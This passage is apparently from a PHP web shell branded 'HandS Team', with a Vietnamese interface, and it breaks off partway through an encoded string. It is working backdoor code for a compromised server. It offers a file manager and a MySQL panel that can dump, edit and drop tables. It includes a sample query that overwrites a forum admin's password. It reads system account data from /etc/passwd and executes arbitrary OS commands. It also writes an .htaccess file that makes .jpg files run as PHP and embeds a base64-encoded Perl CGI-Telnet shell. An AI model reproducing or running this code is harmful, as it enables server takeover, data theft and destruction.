739 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
740 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
741 p('<td nowrap>');
742 p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Tải Xuống</a> | ');
743 p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Sao Chép</a> | ');
744 p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Chỉnh Sửa</a> | ');
745 p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Đổi Tên</a> | ');
746 p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Thời Gian</a>');
747 p('</td></tr>');
748 $file_i++;
749 }
750 }
751 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Tải Xuống</a> - <a href="javascript:dofile(\'delfiles\');"> Xóa File </a></td><td colspan="4" align="right">' . $dir_i . ' Thư Mục / ' . $file_i . ' Files</td></tr>');
752 p('</form></table>');
753};
754echo '<script type="text/javascript">
755function mysqlfile(doing){
756 if(!doing) return;
757 $(\'doing\').value=doing;
758 $(\'mysqlfile\').dbhost.value=$(\'dbinfo\').dbhost.value;
759 $(\'mysqlfile\').dbport.value=$(\'dbinfo\').dbport.value;
760 $(\'mysqlfile\').dbuser.value=$(\'dbinfo\').dbuser.value;
761 $(\'mysqlfile\').dbpass.value=$(\'dbinfo\').dbpass.value;
762 $(\'mysqlfile\').dbname.value=$(\'dbinfo\').dbname.value;
763 $(\'mysqlfile\').charset.value=$(\'dbinfo\').charset.value;
764 $(\'mysqlfile\').submit();
765}
766</script>
767';
768if ($action == 'sqladmin') {
769 !$dbhost && $dbhost = 'localhost';
770 !$dbuser && $dbuser = 'HandS Team';
771 !$dbport && $dbport = '3306';
772 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
773 if (isset($dbhost)) {
774 $dbform.= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
775 }
776 if (isset($dbuser)) {
777 $dbform.= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
778 }
779 if (isset($dbpass)) {
780 $dbform.= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
781 }
782 if (isset($dbport)) {
783 $dbform.= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
784 }
785 if (isset($dbname)) {
786 $dbform.= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
787 }
788 if (isset($charset)) {
789 $dbform.= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
790 }
791 if ($doing == 'backupmysql' && $saveasfile) {
792 if (!$table) {
793 m('Please choose the table');
794 } else {
795 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
796 $table = array_flip($table);
797 $fp = @fopen($path, 'w');
798 if ($fp) {
799 $result = q('SHOW tables');
800 if (!$result) p('<h2>' . mysql_error() . '</h2>');
801 $mysqldata = '';
802 while ($currow = mysql_fetch_array($result)) {
803 if (isset($table[$currow[0]])) {
804 sqldumptable($currow[0], $fp);
805 }
806 }
807 fclose($fp);
808 $fileurl = str_replace(SA_ROOT, '', $path);
809 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
810 mysql_close();
811 } else {
812 m('Backup failed');
813 }
814 }
815 }
816 if ($insert && $insertsql) {
817 $keystr = $valstr = $tmp = '';
818 foreach ($insertsql as $key => $val) {
819 if ($val) {
820 $keystr.= $tmp . $key;
821 $valstr.= $tmp . "'" . addslashes($val) . "'";
822 $tmp = ',';
823 }
824 }
825 if ($keystr && $valstr) {
826 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
827 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
828 }
829 }
830 if ($update && $insertsql && $base64) {
831 $valstr = $tmp = '';
832 foreach ($insertsql as $key => $val) {
833 $valstr.= $tmp . $key . "='" . addslashes($val) . "'";
834 $tmp = ',';
835 }
836 if ($valstr) {
837 $where = base64_decode($base64);
838 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
839 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
840 }
841 }
842 if ($doing == 'del' && $base64) {
843 $where = base64_decode($base64);
844 $delete_sql = "DELETE FROM $tablename WHERE $where";
845 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
846 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
847 }
848 if ($tablename && $doing == 'drop') {
849 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
850 if (q("DROP TABLE $tablename")) {
851 m('Drop table of success');
852 $tablename = '';
853 } else {
854 m(mysql_error());
855 }
856 }
857 $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
858 formhead(array('title' => 'MYSQL Quản Lý '));
859 makehide('action', 'sqladmin');
860 p('<p>');
861 p('DBHost:');
862 makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
863 p(':');
864 makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
865 p('DBUser:');
866 makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
867 p('DBPass:');
868 makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
869 p('DBCharset:');
870 makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
871 makeinput(array('name' => 'connect', 'value' => 'Connect', 'type' => 'submit', 'class' => 'bt'));
872 p('</p>');
873 formfoot();;
874 echo '<script type="text/javascript">
875function editrecord(action, base64, tablename){
876 if (action == \'del\') {
877 if (!confirm(\'Is or isn\\\'t deletion record?\')) return;
878 }
879 $(\'recordlist\').doing.value=action;
880 $(\'recordlist\').base64.value=base64;
881 $(\'recordlist\').tablename.value=tablename;
882 $(\'recordlist\').submit();
883}
884function moddbname(dbname) {
885 if(!dbname) return;
886 $(\'setdbname\').dbname.value=dbname;
887 $(\'setdbname\').submit();
888}
889function settable(tablename,doing,page) {
890 if(!tablename) return;
891 if (doing) {
892 $(\'settable\').doing.value=doing;
893 }
894 if (page) {
895 $(\'settable\').page.value=page;
896 }
897 $(\'settable\').tablename.value=tablename;
898 $(\'settable\').submit();
899}
900</script>
901';
902 formhead(array('name' => 'recordlist'));
903 makehide('doing');
904 makehide('action', 'sqladmin');
905 makehide('base64');
906 makehide('tablename');
907 p($dbform);
908 formfoot();
909 formhead(array('name' => 'setdbname'));
910 makehide('action', 'sqladmin');
911 p($dbform);
912 if (!$dbname) {
913 makehide('dbname');
914 }
915 formfoot();
916 formhead(array('name' => 'settable'));
917 makehide('action', 'sqladmin');
918 p($dbform);
919 makehide('tablename');
920 makehide('page', $page);
921 makehide('doing');
922 formfoot();
923 $cachetables = array();
924 $pagenum = 30;
925 $page = intval($page);
926 if ($page) {
927 $start_limit = ($page - 1) * $pagenum;
928 } else {
929 $start_limit = 0;
930 $page = 1;
931 }
932 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
933 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
934 $mysqlver = mysql_get_server_info();
935 p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
936 $highver = $mysqlver > '4.1' ? 1 : 0;
937 $query = q("SHOW DATABASES");
938 $dbs = array();
939 $dbs[] = 'Chọn Một Cơ Sở Dữ Liệu';
940 while ($db = mysql_fetch_array($query)) {
941 $dbs[$db['Database']] = $db['Database'];
942 }
943 makeselect(array('title' => 'Hãy Chọn Một Cơ Sở Dữ Liệu', 'name' => 'db[]', 'option' => $dbs, 'selected' => $dbname, 'onchange' => 'moddbname(this.options[this.selectedIndex].value)', 'newline' => 1));
944 $tabledb = array();
945 if ($dbname) {
946 p('<p>');
947 p('Dababase Hiện Tại: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
948 if ($tablename) {
949 p(' | Table Hiện Tại: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
950 }
951 p('</p>');
952 mysql_select_db($dbname);
953 $getnumsql = '';
954 $runquery = 0;
955 if ($sql_query) {
956 $runquery = 1;
957 }
958 $allowedit = 0;
959 if ($tablename && !$sql_query) {
960 $sql_query = "SELECT * FROM $tablename";
961 $getnumsql = $sql_query;
962 $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
963 $allowedit = 1;
964 }
965 p('<form action="' . $self . '" method="POST">');
966 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Chạy Truy Vấn Sql/Trên Cơ Sở Dữ Liệu <font color=red><b>' . $dbname . '</font></b>:<BR>Vũ Dụ Mật Khẩu VBB <font color=red>Marion001</font><BR><font color=yellow>UPDATE `user` SET `password` = \'51f6ee3df599ddf51c6a1cb380a6e6b6\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
967 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
968 makehide('tablename', $tablename);
969 makehide('action', 'sqladmin');
970 p($dbform);
971 p('</form>');
972 if ($tablename || ($runquery && $sql_query)) {
973 if ($doing == 'structure') {
974 $result = q("SHOW COLUMNS FROM $tablename");
975 $rowdb = array();
976 while ($row = mysql_fetch_array($result)) {
977 $rowdb[] = $row;
978 }
979 p('<table border="0" cellpadding="3" cellspacing="0">');
980 p('<tr class="head">');
981 p('<td>Field</td>');
982 p('<td>Type</td>');
983 p('<td>Null</td>');
984 p('<td>Key</td>');
985 p('<td>Default</td>');
986 p('<td>Extra</td>');
987 p('</tr>');
988 foreach ($rowdb as $row) {
989 $thisbg = bg();
990 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
991 p('<td>' . $row['Field'] . '</td>');
992 p('<td>' . $row['Type'] . '</td>');
993 p('<td>' . $row['Null'] . ' </td>');
994 p('<td>' . $row['Key'] . ' </td>');
995 p('<td>' . $row['Default'] . ' </td>');
996 p('<td>' . $row['Extra'] . ' </td>');
997 p('</tr>');
998 }
999 tbfoot();
1000 } elseif ($doing == 'insert' || $doing == 'edit') {
1001 $result = q('SHOW COLUMNS FROM ' . $tablename);
1002 while ($row = mysql_fetch_array($result)) {
1003 $rowdb[] = $row;
1004 }
1005 $rs = array();
1006 if ($doing == 'insert') {
1007 p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
1008 } else {
1009 p('<h2>Update record in ' . $tablename . ' table »</h2>');
1010 $where = base64_decode($base64);
1011 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1012 $rs = mysql_fetch_array($result);
1013 }
1014 p('<form method="post" action="' . $self . '">');
1015 p($dbform);
1016 makehide('action', 'sqladmin');
1017 makehide('tablename', $tablename);
1018 p('<table border="0" cellpadding="3" cellspacing="0">');
1019 foreach ($rowdb as $row) {
1020 if ($rs[$row['Field']]) {
1021 $value = htmlspecialchars($rs[$row['Field']]);
1022 } else {
1023 $value = '';
1024 }
1025 $thisbg = bg();
1026 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1027 p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
1028 }
1029 if ($doing == 'insert') {
1030 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1031 } else {
1032 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1033 makehide('base64', $base64);
1034 }
1035 p('</table></form>');
1036 } else {
1037 $querys = @explode(';', $sql_query);
1038 foreach ($querys as $num => $query) {
1039 if ($query) {
1040 p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
1041 switch (qy($query)) {
1042 case 0:
1043 p('<h2>Error : ' . mysql_error() . '</h2>');
1044 break;
1045 case 1:
1046 if (strtolower(substr($query, 0, 13)) == 'select * from') {
1047 $allowedit = 1;
1048 }
1049 if ($getnumsql) {
1050 $tatol = mysql_num_rows(q($getnumsql));
1051 $multipage = multi($tatol, $pagenum, $page, $tablename);
1052 }
1053 if (!$tablename) {
1054 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1055 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1056 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
1057 $tablename = $matches[1][0];
1058 }
1059 $result = q($query);
1060 p($multipage);
1061 p('<table border="0" cellpadding="3" cellspacing="0">');
1062 p('<tr class="head">');
1063 if ($allowedit) p('<td>Chỉnh Sửa</td>');
1064 $fieldnum = @mysql_num_fields($result);
1065 for ($i = 0;$i < $fieldnum;$i++) {
1066 $name = @mysql_field_name($result, $i);
1067 $type = @mysql_field_type($result, $i);
1068 $len = @mysql_field_len($result, $i);
1069 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1070 }
1071 p('</tr>');
1072 while ($mn = @mysql_fetch_assoc($result)) {
1073 $thisbg = bg();
1074 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1075 $where = $tmp = $b1 = '';
1076 foreach ($mn as $key => $inside) {
1077 if ($inside) {
1078 $where.= $tmp . $key . "='" . addslashes($inside) . "'";
1079 $tmp = ' AND ';
1080 }
1081 $b1.= '<td nowrap>' . html_clean($inside) . ' </td>';
1082 }
1083 $where = base64_encode($where);
1084 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Sửa</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Xóa</a></td>');
1085 p($b1);
1086 p('</tr>');
1087 unset($b1);
1088 }
1089 tbfoot();
1090 p($multipage);
1091 break;
1092 case 2:
1093 $ar = mysql_affected_rows();
1094 p('<h2>affected rows : <b>' . $ar . '</b></h2>');
1095 break;
1096 }
1097 }
1098 }
1099 }
1100 } else {
1101 $query = q("SHOW TABLE STATUS");
1102 $table_num = $table_rows = $data_size = 0;
1103 $tabledb = array();
1104 while ($table = mysql_fetch_array($query)) {
1105 $data_size = $data_size + $table['Data_length'];
1106 $table_rows = $table_rows + $table['Rows'];
1107 $table['Data_length'] = sizecount($table['Data_length']);
1108 $table_num++;
1109 $tabledb[] = $table;
1110 }
1111 $data_size = sizecount($data_size);
1112 unset($table);
1113 p('<table border="0" cellpadding="0" cellspacing="0">');
1114 p('<form action="' . $self . '" method="POST">');
1115 makehide('action', 'sqladmin');
1116 p($dbform);
1117 p('<tr class="head">');
1118 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1119 p('<td>Name</td>');
1120 p('<td>Rows</td>');
1121 p('<td>Data_length</td>');
1122 p('<td>Create_time</td>');
1123 p('<td>Update_time</td>');
1124 if ($highver) {
1125 p('<td>Engine</td>');
1126 p('<td>Collation</td>');
1127 }
1128 p('</tr>');
1129 foreach ($tabledb as $key => $table) {
1130 $thisbg = bg();
1131 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1132 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
1133 p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
1134 p('<td>' . $table['Rows'] . '</td>');
1135 p('<td>' . $table['Data_length'] . '</td>');
1136 p('<td>' . $table['Create_time'] . '</td>');
1137 p('<td>' . $table['Update_time'] . '</td>');
1138 if ($highver) {
1139 p('<td>' . $table['Engine'] . '</td>');
1140 p('<td>' . $table['Collation'] . '</td>');
1141 }
1142 p('</tr>');
1143 }
1144 p('<tr class=fout>');
1145 p('<td> </td>');
1146 p('<td>Total tables: ' . $table_num . '</td>');
1147 p('<td>' . $table_rows . '</td>');
1148 p('<td>' . $data_size . '</td>');
1149 p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
1150 p('</tr>');
1151 p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Tải Xuống File <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1152 makehide('doing', 'backupmysql');
1153 formfoot();
1154 p("</table>");
1155 fr($query);
1156 }
1157 }
1158 }
1159 tbfoot();
1160 @mysql_close();
1161} elseif ($action == 'etcpwd') {
1162 formhead(array('title' => 'Get /etc/passwd'));
1163 makehide('action', 'etcpwd');
1164 makehide('dir', $nowpath);
1165 $i = 0;
1166 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
1167 while ($i < 60000) {
1168 $line = posix_getpwuid($i);
1169 if (!empty($line)) {
1170 while (list($key, $vba_etcpwd) = each($line)) {
1171 echo "" . $vba_etcpwd . "\n";
1172 break;
1173 }
1174 }
1175 $i++;
1176 }
1177 echo "</textarea></p>";
1178 formfoot();
1179} elseif ($action == 'command') {
1180 if (IS_WIN && IS_COM) {
1181 if ($program && $parameter) {
1182 $shell = new COM('Shell.Application');
1183 $a = $shell->ShellExecute($program, $parameter);
1184 m('Program run has ' . (!$a ? 'success' : 'fail'));
1185 }
1186 !$program && $program = 'c:\windows\system32\cmd.exe';
1187 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1188 formhead(array('title' => 'Execute Program'));
1189 makehide('action', 'shell');
1190 makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
1191 p('<p>');
1192 makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
1193 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1194 p('</p>');
1195 formfoot();
1196 }
1197 formhead(array('title' => 'Execute Command'));
1198 makehide('action', 'shell');
1199 if (IS_WIN && IS_COM) {
1200 $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
1201 makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
1202 }
1203 p('<p>');
1204 makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
1205 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1206 p('</p>');
1207 formfoot();
1208 if ($command) {
1209 p('<hr width="100%" noshade /><pre>');
1210 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1211 $wsh = new COM('WScript.shell');
1212 $exec = $wsh->exec('cmd.exe /c ' . $command);
1213 $stdout = $exec->StdOut();
1214 $stroutput = $stdout->ReadAll();
1215 echo $stroutput;
1216 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1217 $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
1218 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1219 if (is_resource($process)) {
1220 fwrite($pipes[0], $command . "\r\n");
1221 fwrite($pipes[0], "exit\r\n");
1222 fclose($pipes[0]);
1223 while (!feof($pipes[1])) {
1224 echo fgets($pipes[1], 1024);
1225 }
1226 fclose($pipes[1]);
1227 while (!feof($pipes[2])) {
1228 echo fgets($pipes[2], 1024);
1229 }
1230 fclose($pipes[2]);
1231 proc_close($process);
1232 }
1233 } else {
1234 echo (execute($command));
1235 }
1236 p('</pre>');
1237 }
1238} elseif ($action == 'error.log') {
1239 mkdir('error', 0755);
1240 chdir('error');
1241 $kokdosya = ".htaccess";
1242 $dosya_adi = "$kokdosya";
1243 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1244 $metin = "Options +FollowSymLinks +Indexes
1245DirectoryIndex default.html
1246## START ##
1247Options +ExecCGI
1248AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1249AddType application/x-httpd-php .jpg
1250RewriteEngine on
1251RewriteRule (.*)\.war$ .log
1252## END ##";
1253 fwrite($dosya, $metin);
1254 fclose($dosya);
1255 $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+SGFuZFMgVGVhbTwvZm9udD4iOwokUGFzc3dvcmQgPSAiSGFuZFNUZWFtIjsJCQkKc3ViIElzX1dpbigpewokb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9ZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCiROVENtZFNlcCA9ICImIjsJCQkKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CiRTaG93RHluYW1pY091dHB1dCA9IDE7CiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTMwOwokcm93cz0gMjY7CnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBmdW5jdGlvbiBFbmNvZGVEaXI6IGVuY29kZSBiYXNlNjQgUGF0aAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFbmNvZGVEaXIKewoJbXkgJGRpciA9IHNoaWZ0OwoJJGRpciA9IHRyaW0oZW5jb2RlX2Jhc2U2NCgkZGlyKSk7CgkkZGlyID1+IHMvKFxyfFxuKS8vOwoJcmV0dXJuICRkaXI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7CglteSAkaW5mbyA9IGB1bmFtZSAtcyAtbiAtciAtaWA7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPiRFTlZ7J1NFUlZFUl9OQU1FJ30gfCBJUCA6ICRFTlZ7J1NFUlZFUl9BRERSJ30gPC90aXRsZT4KJEh0bWxNZXRhSGVhZGVyCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmZmOwp9CnRyLHRkLHRhYmxlLGlucHV0LHRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvb